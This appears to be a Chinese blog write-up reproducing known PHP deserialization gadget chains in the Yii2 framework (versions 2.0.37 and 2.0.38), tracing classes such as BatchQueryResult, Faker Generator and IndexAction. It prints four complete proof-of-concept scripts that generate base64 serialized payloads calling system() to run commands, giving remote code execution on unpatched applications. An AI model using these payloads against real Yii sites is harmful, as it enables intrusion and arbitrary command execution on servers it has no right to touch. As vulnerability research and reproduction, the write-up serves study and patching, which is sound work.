Yii反序列化漏洞分析
# yii2反序列化漏洞分析
环境搭建
Windows10 phpstudy
yii2版本:2.0.37和2.0.38
php版本:7.3.4
环境安装
使用compser安装2.0.38版本,github安装2.0.37版本
漏洞分析
漏洞的出发点是在\yii\vendor\yiisoft\yii2\db\BatchQueryResult.php
文件中,
这里调用reset()
方法,跟进查看reset()
方法
并且这里$this->dataReader
可控,可以调用不存在close()
方法并且存在__call()
方法的类,就是找一个跳板。$this->_dataREader->close()
这里可以利用魔术方法__call
,于是开始全局搜索__call
。在\yii\vendor\fzaninotto\faker\src\Faker\Generator.php
文件中
跟进format
跟进查看getFormatter
format
里调用了call_user_func_array
,$formatter
与$arguments
都不可控,目前$formatter='close'
,$arguments
为空。$formatter
传入了$this->getFormatter
,在这个方法中,$this->formatters
是可控的,这也就意味着getFormatter
方法的返回值是可控的。
也就是说all_user_func_array
这个函数的第一个参数可控,第二个参数为空
现在可以调用yii框架中的任何一个无参的方法。所以,要找一个无参数的方法,在这个方法中我们可以实现任意代码执行或者间接实现任意代码执行。
查找调用了call_user_func
函数的无参方法。
构造正则
function \w+\(\) ?\n?\{(.*\n)+call_user_func
查看IndexAction.php
中的run
方法
可以看到$this->checkAccess
以及$this->id
都可控,构成利用链
yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
POC1
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
验证payload,因为这仅仅是一个反序列化利用链,所以还需要一个反序列化的入口点,这个需要自己构造
在controllers目录下创建一个Controller:
运行POC访问controller传入参数实现RCE
该利用链在yii 2.0.37中测试成功,在使用yii 2.0.38测试时,BatchQueryTesult
类被修复无法实例化,需要另找起点。
其他利用链
yii 2.0.38中的另外起点。
利用链1
利用链的起点\yii\vendor\codeception\codeception\ext\RunBefore.php
同样还是找__destruct()
方法调用了stopProcess()
函数,因为这里的$this->processes
可控,也就意味着$process
可控,然后下面又调用了$process->isRunning
,可以接上第一条利用链的__call
方法开头的后半段。
利用链
Codeception\Extension\RunProcess::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
POC2
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
运行poc,并执行rce
利用链2
\yii\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php
文件中,
跟进clearAll
方法
这里的$this->keys
以及$nsKey、$itemKey
都是我们可控的,所以是可以执行到$this->clearKey
的,跟进查看:
这里的$this->path
也可控,可以看到这里是进行了一个字符串拼接操作,那么意味着可以利用魔术方法__toString
来触发后续操作。
全局搜素__toString
,有200个文件
文件路径\yii\vendor\phpdocumentor\reflection-docblock\src\DocBlock\Tags\See.php
使用See.php
举例
可以看到$this->description
可控,又可以利用__call
利用链2
Swift_KeyCache_DiskKeyCache -> phpDocumentor\Reflection\DocBlock\Tags\See::__toString()-> Faker\Generator::__call() -> yii\rest\IndexAction::run()
POC3
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
测试poc,实现rce
利用链3
起点还是一样,与上述不同的是不用急着找跳板,reset()
方法中$this->_dataReader
是我们可控的,需要找到一个类中存在close()方法并且这个方法存在危险函数或是又可以延展调用链的就可以了
找到\yii\vendor\yiisoft\yii2\web\DbSession.php
这个类中的close()方法
会调用\vendor\yiisoft\yii2\web\MultiFieldSession.php
中的composeFields()
方法,因为是继承此类的,看到这个方法
比较这两个函数的差别
- 如果传递一个数组给 call_user_func_array(),数组的每个元素的值都会当做一个参数传递给回调函数,数组的 key 回调掉。
- 如果传递一个数组给 call_user_func(),整个数组会当做一个参数传递给回调函数,数字的 key 还会保留住。
这里要利用call_user_func()
函数能够将实例化对象作为数组传递给函数,也就是说这里因为我们可控$this->writeCallback
,然后赋值[new \yii\rest\IndexAction($func, $param), "run"];
就可以调用之前我们所找到的终点--run()
方法,再进行RCE
POC4
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('system', 'whoami');
echo(base64_encode(serialize($exp)));
}
在yii 2.0.37版本中测试成功,2.0.38测试失败。
POC在yii2.0.37中通用,其中POC2和POC3在yii2.0.38中可用。
对反序列化还不是很熟悉,这里主要是对已知漏洞的复现。